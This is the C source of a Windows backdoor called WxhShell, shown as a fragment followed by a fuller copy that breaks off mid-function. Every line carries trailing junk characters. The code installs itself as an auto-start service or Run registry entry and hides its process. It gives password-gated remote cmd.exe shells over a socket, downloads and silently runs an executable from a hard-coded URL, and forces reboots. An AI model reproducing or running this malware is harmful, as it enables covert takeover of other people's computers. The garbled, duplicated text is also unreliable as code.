    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c5T~0'n  
    if(Boot(SHUTDOWN)) i5L+8kx4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,T,B0  
    else { >q} !>k$B  
    closesocket(wsh); Z=e[ !c  
    ExitThread(0); 41 c^\1  
    } `g4Ekp'Rp[  
    break; pQ[o3p!&9  
    } FthXFxwx$  
  // 获取shell R"9oMaY  
  case 's': { :uU]rBMo  
    CmdShell(wsh); [t "_}t=w  
    closesocket(wsh); 6,V.j>z  
    ExitThread(0); A9fjMnw  
    break; RJ=c[nb  
  } wM2)KM}$  
  // 退出 U 3wsWSO  
  case 'x': { B4\:2hBq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]|((b/L3  
    CloseIt(wsh); I9Edw]  
    break; FJn~ =hA  
    } Sug~FV?k$e  
  // 离开 8zWBXV  
  case 'q': { ?C#F?N0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;S{Ld1;  
    closesocket(wsh); O>b&-U"R  
    WSACleanup(); i SAidK,  
    exit(1); X,iuz/Q  
    break; eK=m02  
        } t`Y1.]@U  
  } Lv,ji_  
  } H(5ui`'s  
~q#[5l(r8  
  // 提示信息 w ufKb.4`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i$ fjr[$B  
} 1S)0 23N  
  } &Gy'AUz-  
kERaY9L\  
  return; n{qw ]/  
} 9>.<+b(>!'  
_>_y@-b  
// shell模块句柄 0N3tsIm>  
int CmdShell(SOCKET sock) KOAz-h@6   
{ XCqfAcNQ  
STARTUPINFO si; =xlYQ}-(a  
ZeroMemory(&si,sizeof(si)); 63y':g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hNR >Hy\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yoA*\V  
PROCESS_INFORMATION ProcessInfo; -; /@;W  
char cmdline[]="cmd"; A Eyr_!G,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]~g|SqPA@  
  return 0; =aCIaL&9Y  
} 00.iMmJ  
u%gm+NneK  
// 自身启动模式 ?:;hTY  
int StartFromService(void) fAY2V%Rft  
{ [ ;3EzZL  
typedef struct $.3CiM }~  
{ z*k 3q`=>  
  DWORD ExitStatus; iK6<^,]'  
  DWORD PebBaseAddress; z }b U\3!  
  DWORD AffinityMask; zOdasEd8!  
  DWORD BasePriority; /O(;~1B  
  ULONG UniqueProcessId; x1hs19s  
  ULONG InheritedFromUniqueProcessId; QF.wtMGF&  
}   PROCESS_BASIC_INFORMATION; CgTQGJ}-  
)8N)Z~h  
PROCNTQSIP NtQueryInformationProcess; ^B"_b?b  
tWX+\ |  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L[[H&#\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A0N ;VYv  
~_l: b  
  HANDLE             hProcess; BGh8\2  
  PROCESS_BASIC_INFORMATION pbi; WX[dM }L  
1WA""yb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b09#+CH?  
  if(NULL == hInst ) return 0; |\r\i&|g1  
L+0N@`nRF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l<)JAT;P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zk^7gx3x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Bwvw)(%  
;KjMZ(Iil1  
  if (!NtQueryInformationProcess) return 0; XGrxzO|{  
0wE8Gm G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YWBP'Mo  
  if(!hProcess) return 0; BKP!+V/  
2QuypVC ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G3?a~n^b  
s)7`r6w  
  CloseHandle(hProcess); )dN,b( w9  
8KdcLN@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  d7-F&!sQ  
if(hProcess==NULL) return 0; $m%/veD k  
AdN= y8T  
HMODULE hMod; @ :   
char procName[255]; CPCB!8-5  
unsigned long cbNeeded; ^&w'`-ra  
UNH}*]u4`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y8CYkJTAD-  
O6/=/-?N=c  
  CloseHandle(hProcess); 8'_ ]gfF  
VTX'f2\  
if(strstr(procName,"services")) return 1; // 以服务启动 ,vY I O  
u #QSa$P  
  return 0; // 注册表启动 [?r\b  
} ?Kz` O>"6  
ah@GSu;7  
// 主模块 U>M>FZ  
int StartWxhshell(LPSTR lpCmdLine) -3XnK5  
{ Z_ *ZUN?B  
  SOCKET wsl; w7ABnX  
BOOL val=TRUE; "@'9+$i6  
  int port=0; ;>hPHx  
  struct sockaddr_in door; h^,YYoA$  
d5W[A#}  
  if(wscfg.ws_autoins) Install(); I:2jwAl  
vH\nL>r  
port=atoi(lpCmdLine); O7_NXfh|  
K]azUK7  
if(port<=0) port=wscfg.ws_port; }j<_JI  
sAAIyPJts  
  WSADATA data; ewlc ^`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q^5 t]HKn  
xx2:5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9Qm{\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `fE:5y  
  door.sin_family = AF_INET; ` ];[T=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9(Xch2tpO!  
  door.sin_port = htons(port); Fl(ZKpSZU  
5TW<1'u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $G([#N<  
closesocket(wsl); gmH0-W)=  
return 1; :QY9pT  
} Qz90 mb  
!{=%l+^.  
  if(listen(wsl,2) == INVALID_SOCKET) {  k`zK  
closesocket(wsl); ON=ley  
return 1; y&|{x "  
} 2F)OyE  
  Wxhshell(wsl); j W]c9u  
  WSACleanup(); j{+I~|ZB,  
H ;}ue  
return 0; C2%3+  
*m Tc4&*  
} R}mWHB_h"  
UVRV7^eTe  
// 以NT服务方式启动 7`n8 OR4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `)_FO]m}jS  
{ Z s!q#qM  
DWORD   status = 0; #Yb9w3N  
  DWORD   specificError = 0xfffffff; N@ tb^M  
~9 nrS9)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k5<0M'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "tbBbEj?d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B ~bU7.Cd  
  serviceStatus.dwWin32ExitCode     = 0; 3gXUfv2ID  
  serviceStatus.dwServiceSpecificExitCode = 0; &%51jM<  
  serviceStatus.dwCheckPoint       = 0; A)0m~+?{J  
  serviceStatus.dwWaitHint       = 0; 'n`$c{N<tM  
, Vr6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w0OK. fj  
  if (hServiceStatusHandle==0) return; lcLxqnv  
m/c~2?-;  
status = GetLastError(); T>?1+mruM  
  if (status!=NO_ERROR) u"3cSuqy  
{ <t2?Oii;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :7]R2JP  
    serviceStatus.dwCheckPoint       = 0; }=R|iz*,!  
    serviceStatus.dwWaitHint       = 0; M4]|(A  
    serviceStatus.dwWin32ExitCode     = status; 1Ee>pbd  
    serviceStatus.dwServiceSpecificExitCode = specificError; C8SNSeg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dNmX<WXG  
    return; n m$G4Q  
  } 6/C  
C_&tOt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NWcF9z%@  
  serviceStatus.dwCheckPoint       = 0; D'=`O6pK  
  serviceStatus.dwWaitHint       = 0; JIkmtZv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :zZM&r>  
} >@\-m  
p_N=V. w  
// 处理NT服务事件,比如:启动、停止 $a]dxRkz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /FXfu  
{ &Vm[5XW  
switch(fdwControl) =swcmab;  
{ Lf<9GYNy>`  
case SERVICE_CONTROL_STOP: $t?e=#G  
  serviceStatus.dwWin32ExitCode = 0; e1a%Rj~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U%olH >1K  
  serviceStatus.dwCheckPoint   = 0; ?^0Z(<Arz  
  serviceStatus.dwWaitHint     = 0; kF7Al]IgT  
  { Yf9L~K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W12K93tO  
  } >.A:6  
  return; cZ,_O~  
case SERVICE_CONTROL_PAUSE: z[Qv}pv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z/;SR""wa  
  break; O`| ri5d  
case SERVICE_CONTROL_CONTINUE: s!\L1E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mI18A#[ 3  
  break; 8gdOQ=a  
case SERVICE_CONTROL_INTERROGATE: :@L5=2Z+  
  break; ]].21  
}; l{yPO@ut`F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vUNE! j  
} [Hf FC3U  
'LI)6;Yc  
// 标准应用程序主函数 kDQXP p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u?i1n=Ne  
{ U9s y]7  
)}8%Gs4C  
// 获取操作系统版本 _JXE/  
OsIsNt=GetOsVer(); `w }"0+V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +cN2 KP  
|^&e\8>.  
  // 从命令行安装 bf+2c6_BN0  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2:yv:7t/  
e%\KI\u  
  // 下载执行文件 AJ}Q,E  
if(wscfg.ws_downexe) { ~>|U%3}]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gsH_pG-jU  
  WinExec(wscfg.ws_filenam,SW_HIDE); CaMG$X&O  
} VP&lWPA}\$  
9p<l}h7g  
if(!OsIsNt) { gS 3&,^  
// 如果时win9x,隐藏进程并且设置为注册表启动 8a {gEZT,  
HideProc(); 6P8X)3CE<T  
StartWxhshell(lpCmdLine); o\#e7Hqbh  
} y.2 SHn0  
else N3)EG6vE*  
  if(StartFromService()) .nJGxz+X"  
  // 以服务方式启动 <Th.}=  
  StartServiceCtrlDispatcher(DispatchTable); j7zQ&ANF  
else D1a4+AyI  
  // 普通方式启动 vbU{Et\ ^  
  StartWxhshell(lpCmdLine); !k^\`jMzw  
+{Ttv7l_2  
return 0; ,q1RJiR  
} FE.:h'^h  
K9iR>put  
4P5wEqU.<  
5Ml}m  
=========================================== k,J?L-F  
4{ &   
UWp(3FQ  
D]REZuHOI  
MtljI6  
o/#e y  
" j~0hAKHG  
lDzVc`c  
#include <stdio.h> d!cx%[  
#include <string.h> li?Gb1  
#include <windows.h> W=/B[@3'  
#include <winsock2.h> S6uBk"V!  
#include <winsvc.h> FqySnrJQ  
#include <urlmon.h> OB:G5B`  
0FBifK  
#pragma comment (lib, "Ws2_32.lib") {^F_b% a4z  
#pragma comment (lib, "urlmon.lib") E*zk?G|  
+9t@eHJT1  
#define MAX_USER   100 // 最大客户端连接数 fsu'W]f  
#define BUF_SOCK   200 // sock buffer ]v#Q\Q8>  
#define KEY_BUFF   255 // 输入 buffer uzOZxW[e  
.+.Pc_fv  
#define REBOOT     0   // 重启 Ru/3>n  
#define SHUTDOWN   1   // 关机 i*3'O:Gq  
a[!':-R`s  
#define DEF_PORT   5000 // 监听端口 YGB|6p(  
%O-wMl  
#define REG_LEN     16   // 注册表键长度 G7u7x?E:B`  
#define SVC_LEN     80   // NT服务名长度 Y (Q8P{@(  
YAD9'h]d\  
// 从dll定义API !Qy3fs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); | =&r) ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pdM|dGq^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |"arVde  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Xx @_  
zT@vji%Y  
// wxhshell配置信息 mYZH]oo  
struct WSCFG { U<t Qj`  
  int ws_port;         // 监听端口 0>vm&W<?)  
  char ws_passstr[REG_LEN]; // 口令 iVA_a8}  
  int ws_autoins;       // 安装标记, 1=yes 0=no k~R_Pq S  
  char ws_regname[REG_LEN]; // 注册表键名 JP#m} W  
  char ws_svcname[REG_LEN]; // 服务名 ~dv C$   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IaW8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?AR6+`0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4&tY5m>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )<+Z,6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X@B+{IFC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &}WSfZ0{  
gxF3gM  
}; vg<_U&N=-r  
qzq>C"z\Y$  
// default Wxhshell configuration  u >x2  
struct WSCFG wscfg={DEF_PORT, R]dc(D  
    "xuhuanlingzhe", 3.soCyxmc  
    1, s f%=q$z  
    "Wxhshell", LGK}oL'  
    "Wxhshell", xZ .:H&0G  
            "WxhShell Service", U^.$k-|k  
    "Wrsky Windows CmdShell Service", Fik*7!XQ8  
    "Please Input Your Password: ", ;kdJxxUox  
  1, b8O:@j2  
  "http://www.wrsky.com/wxhshell.exe", JAYom%A"  
  "Wxhshell.exe" +K&ze:-Z  
    }; hsi#J^n{  
= fm/l-P@  
// 消息定义模块 K}6}Opr,Tt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _uDtRoI8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @qeI4io-n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !5pp A  
char *msg_ws_ext="\n\rExit."; cdk;HK_Ve.  
char *msg_ws_end="\n\rQuit."; qr :[y  
char *msg_ws_boot="\n\rReboot..."; s:M:Ff  
char *msg_ws_poff="\n\rShutdown..."; zg]9~i8  
char *msg_ws_down="\n\rSave to "; ]^dXB 0  
?(F~9 V  
char *msg_ws_err="\n\rErr!"; Ltc>@  
char *msg_ws_ok="\n\rOK!"; o|*,<5t  
${ e{#  
char ExeFile[MAX_PATH]; ? ;\YiOTda  
int nUser = 0; z`{x1*w_  
HANDLE handles[MAX_USER]; yQ\c<z^e  
int OsIsNt; rN OwB2e  
=5+:<e,&  
SERVICE_STATUS       serviceStatus; M}HGFN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xHHG| u  
'Kl} y,  
// 函数声明 Bp9 u6R  
int Install(void); a93Aj  
int Uninstall(void); (g5T2(_6L  
int DownloadFile(char *sURL, SOCKET wsh); 6ZX{K1_q  
int Boot(int flag); d^4!=^HN  
void HideProc(void); 8g$pfHt|e  
int GetOsVer(void); :0r@o:H  
int Wxhshell(SOCKET wsl); gmt`_Dpm$  
void TalkWithClient(void *cs); Tk)y*y  
int CmdShell(SOCKET sock); pX"f "  
int StartFromService(void); .^uNzN~  
int StartWxhshell(LPSTR lpCmdLine); k: D<Q  
po!0j+r3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PE-Vx RN)  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  $33wK  
~r+;i,,X  
// 数据结构和表定义 g\d|/HV K  
SERVICE_TABLE_ENTRY DispatchTable[] = zGA#7W2?0  
{ TtlZum\  
{wscfg.ws_svcname, NTServiceMain}, L -<!,CASW  
{NULL, NULL} tK1P7pbC8r  
}; kowBB0  
_A1r6  
// 自我安装 kk& ([ xqU  
int Install(void)  9/`T]s"  
{ p v%`aQ]o{  
  char svExeFile[MAX_PATH]; \K55|3~R  
  HKEY key; w_PnEJa9  
  strcpy(svExeFile,ExeFile); 0"LJ{:plz  
5V]!xi  
// 如果是win9x系统,修改注册表设为自启动 #,lJ>mTe4  
if(!OsIsNt) { &i$p5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yO.q{|kX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [<rV "g  
  RegCloseKey(key); H+6+I53  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^|gD;OED7O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .7_<0&kW  
  RegCloseKey(key); \$$DM"+:;H  
  return 0; <>%2HRn<u  
    } nF`_3U8e  
  } )lwxF P;  
} bW-9YXj%  
else { xim'TVwvC  
plN:QS$  
// 如果是NT以上系统,安装为系统服务 lp+Uox  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }fU"s"  
if (schSCManager!=0) Lk#8G>U  
{ "V'<dn  
  SC_HANDLE schService = CreateService B OKY X  
  ( EIug)S~  
  schSCManager, k nTCX  
  wscfg.ws_svcname, %OE (?~dq  
  wscfg.ws_svcdisp, {_C2c{  
  SERVICE_ALL_ACCESS, T uG%oV}   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c'O"</  
  SERVICE_AUTO_START, >{R+j4%  
  SERVICE_ERROR_NORMAL, *sz:c3{_  
  svExeFile, bWv2*XC  
  NULL, *5m4 j=-  
  NULL, Z}$wvd  
  NULL, ~T">)Y~+xI  
  NULL, NpI "XQ  
  NULL  OXDEU.  
  ); /3#)  
  if (schService!=0) K-<<s  
  { #:[^T,YD0  
  CloseServiceHandle(schService); q|h#J}\  
  CloseServiceHandle(schSCManager); x`n7D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +@G#Z3;l!  
  strcat(svExeFile,wscfg.ws_svcname); (}*1,N!#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M$,4B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AO[/-Uij  
  RegCloseKey(key); djmd @{Djt  
  return 0; (_IPz)F  
    } Z@(m.&ZRx  
  } <!;NJLe`  
  CloseServiceHandle(schSCManager); r?7tI0  
} {?X:?M_  
} y8%QS*  
tK7v&[cI  
return 1; *{<46 0`!q  
} wDp5HZ>  
0H!J  
// 自我卸载 $-AG $1  
int Uninstall(void) ,)?!p_*@:  
{ 4m1@lnjp  
  HKEY key;  \uG^w(*)  
,B2p\  
if(!OsIsNt) { b]5/IT)@O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tZ>'tE   
  RegDeleteValue(key,wscfg.ws_regname); pL5Bz!_r  
  RegCloseKey(key); PjE%_M<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7x=-1wbi  
  RegDeleteValue(key,wscfg.ws_regname); |Ml~_m  
  RegCloseKey(key); fL(_V/p^  
  return 0; rczwxWK  
  } 'r'+$D7  
} -[}AhNYK  
} \ v2-}jU(  
else { q~. .Z Y`7  
@+>t]jyz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s{uSU1lQn  
if (schSCManager!=0) LkyT4HC8n  
{ sW]>#e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X"!tx  
  if (schService!=0) EG!Nsb^,  
  { "M}3T?0 O  
  if(DeleteService(schService)!=0) { tS3!cO\  
  CloseServiceHandle(schService); OE/r0C<&  
  CloseServiceHandle(schSCManager); ,5& Rra/  
  return 0; L'HO"EZFj  
  } h9Tst)iRi  
  CloseServiceHandle(schService); e'X"uH Xt.  
  } Z6fR2A~Q[  
  CloseServiceHandle(schSCManager); K!a7Hg  
} {W'{A  
} NCp]!=uM;  
(j&7`9<5  
return 1; II]-mb  
} nmw#4yHYy:  
$C t(M)  
// 从指定url下载文件 a(_3271  
int DownloadFile(char *sURL, SOCKET wsh) ' -td/w  
{ 09 v m5|  
  HRESULT hr; R^6]v`j;  
char seps[]= "/"; \SooIEl@  
char *token; PG{"GiZz=  
char *file; )uO 3v  
char myURL[MAX_PATH]; Y;=GM:*H  
char myFILE[MAX_PATH]; k $E{'Dv  
:DJLkMP  
strcpy(myURL,sURL); 2m,t<Y;  
  token=strtok(myURL,seps); uCjbb  
  while(token!=NULL) Ask~  
  { >P}6/L  
    file=token; Wb#ON|.2  
  token=strtok(NULL,seps); Yb348kRF  
  } x75 3o\u!  
]]hsLOM]  
GetCurrentDirectory(MAX_PATH,myFILE); EouI S2e;a  
strcat(myFILE, "\\"); }F-,PSH Ml  
strcat(myFILE, file); V^kl_!@  
  send(wsh,myFILE,strlen(myFILE),0); m!WDXt  
send(wsh,"...",3,0); 8b X?HeYrr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P EMuIYm$  
  if(hr==S_OK) T,uJO<  
return 0; V!f' O@p[  
else 72\o6{BiC  
return 1; 42Cc`a%U  
}LwKi-G?  
} /Z2 g >  
snVeOe#'S  
// 系统电源模块 es1'z.UJ  
int Boot(int flag) -+n? Q;  
{ 7#sb },J{  
  HANDLE hToken; Uc0Sb  
  TOKEN_PRIVILEGES tkp; ]GiDfYs7%  
\4|osZ0y  
  if(OsIsNt) { e0g>.P@6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6oLZH6fG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bg}(Sy  
    tkp.PrivilegeCount = 1; 4Y{&y6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^}4ysw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -^,wQW:o)  
if(flag==REBOOT) { G3D!ifho.#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sDS0cc6e  
  return 0; +IM6 GeH  
} (!koz'f  
else { #1[Q?e4,0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M(.]?+  
  return 0; * oru;=D@8  
} pbNW l/|4  
  } v]m#+E   
  else { ,QHn} 3fW  
if(flag==REBOOT) { ~p$ncIr2Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W4S]2P>T  
  return 0; 9|2LuHQu+  
} ~c'R7E&Bfa  
else { A[N>T\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F <.} q|b  
  return 0; m@y_Wt  
} 4(p,@e31  
} :snn-e0l  
% ^&D,  
return 1; *Vp$#Rb  
} D}K/5iU]a  
lPn&,\9@~  
// win9x进程隐藏模块 _R;+}1G/  
void HideProc(void) ^j g{MTa  
{ dMoN19F  
*Bx' g| u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o88Dz}a  
  if ( hKernel != NULL ) f/e2td*A  
  { \?NT,t=3J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?]2OT5@&s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D;OR?NdgvW  
    FreeLibrary(hKernel); 3bMUsyJ2  
  } !' jXN82  
ybVdWOqv  
return; k?'PCV  
} bn8?-  
`L?9-)m<f  
// 获取操作系统版本 (1}"I RX.  
int GetOsVer(void) -O>*` O>M  
{ {y7,n  
  OSVERSIONINFO winfo; ii]'XBSVd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l|K`'YS!<{  
  GetVersionEx(&winfo); ZUUfn~ORc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y\ G^W8  
  return 1; :@q9ll`6u  
  else p$&6E\#7  
  return 0; 4!tHJCq"  
} w\3'wD!  
7`6JK  
// 客户端句柄模块 IXmO1*o@  
int Wxhshell(SOCKET wsl) POvpaPAZ<  
{ kEs=N(  
  SOCKET wsh; g@7j<UY  
  struct sockaddr_in client; =Pg u?WU@  
  DWORD myID; @DYkWivLu  
#L,5;R{`  
  while(nUser<MAX_USER) 'BwM{c-O"  
{ Y&_1U/}h  
  int nSize=sizeof(client); \|9KOulr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zx}.mt#}8  
  if(wsh==INVALID_SOCKET) return 1; "227 U)Q  
=rDIU&0Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u(|k/~\  
if(handles[nUser]==0) =.Q|gZ   
  closesocket(wsh); zwKm;;v8  
else "RJf2~(ZX  
  nUser++; dSBW&-p  
  } t#h<'?\E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $MG. I[h  
`;R|SyrX  
  return 0; -/ #tQ~{gs  
} <ArP_! `3  
kVZ5>D$  
// 关闭 socket g1`/xJz|  
void CloseIt(SOCKET wsh) @Q atgYu  
{ #/9(^6f:  
closesocket(wsh); s(I7}oRWsL  
nUser--;  Cz_chK4  
ExitThread(0); ;zO(bj>  
} /Iu._2  
jq&$YmWp  
// 客户端请求句柄 L%.GKANM  
void TalkWithClient(void *cs) l@om2|B  
{ &p$SFH?s  
t9()?6H\  
  SOCKET wsh=(SOCKET)cs; Xsc5@O!  
  char pwd[SVC_LEN]; HSOdqjR*  
  char cmd[KEY_BUFF]; Th%1eLQ  
char chr[1]; Tl3{)(ezx  
int i,j; 0R2 AhA#  
0Fh*8a}?b  
  while (nUser < MAX_USER) { W+~ w  
.SdEhW15)  
if(wscfg.ws_passstr) { 1W5\   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +mT}};-TS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xW,(d5RtZ  
  //ZeroMemory(pwd,KEY_BUFF); A2"xCJ0`  
      i=0; 0ZV)Y<DJ  
  while(i<SVC_LEN) { [@= [< _r  
FZ/l T-"  
  // 设置超时 tH"SOGfSt  
  fd_set FdRead; q'?:{k$%  
  struct timeval TimeOut; hqY9\,.C  
  FD_ZERO(&FdRead); ${ ~UA 6  
  FD_SET(wsh,&FdRead); 8E Y< ^:  
  TimeOut.tv_sec=8; Rh%/xG#k  
  TimeOut.tv_usec=0; bkl'0 p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )8yee~+TN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OR^Wd  
-j[n^y'v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@Q4[+5&_  
  pwd=chr[0]; *[7,@S/<F  
  if(chr[0]==0xd || chr[0]==0xa) { oA~m*|  
  pwd=0; %1]2+_6  
  break; l1N{ujM  
  } ;NRT a*  
  i++; 43-%")bH  
    } ~]/X,Cf  
H9w*U  
  // 如果是非法用户,关闭 socket 5 ^iU1\(L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d #a  
} Ik1,?A  
h{sW$WA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2ezuP F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $#@4i4TN-  
9MLvHrB;  
while(1) { ;?2vW8{p<  
ojVpw4y.  
  ZeroMemory(cmd,KEY_BUFF); M Zw%s(lv  
G"TPu _g  
      // 自动支持客户端 telnet标准   _u;^w}0  
  j=0; #fGb M!3p  
  while(j<KEY_BUFF) { 9rao&\eH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ |TE )h  
  cmd[j]=chr[0]; n/?5[O-D]  
  if(chr[0]==0xa || chr[0]==0xd) { 5.[{PJ]bq  
  cmd[j]=0; 9$Mi/eLG2N  
  break; dY\"'LtF  
  } e|Sg?ocR  
  j++; `z` `d*_  
    } @mJN  
e^XijId.  
  // 下载文件 AD?DIE(v  
  if(strstr(cmd,"http://")) { q 8=u.T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bOck^1Hky  
  if(DownloadFile(cmd,wsh)) kM3BP& 3m1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MmWJYF=  
  else &OhKx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o@LjSQ5!  
  } "}SERC7  
  else { iW"L!t#\|  
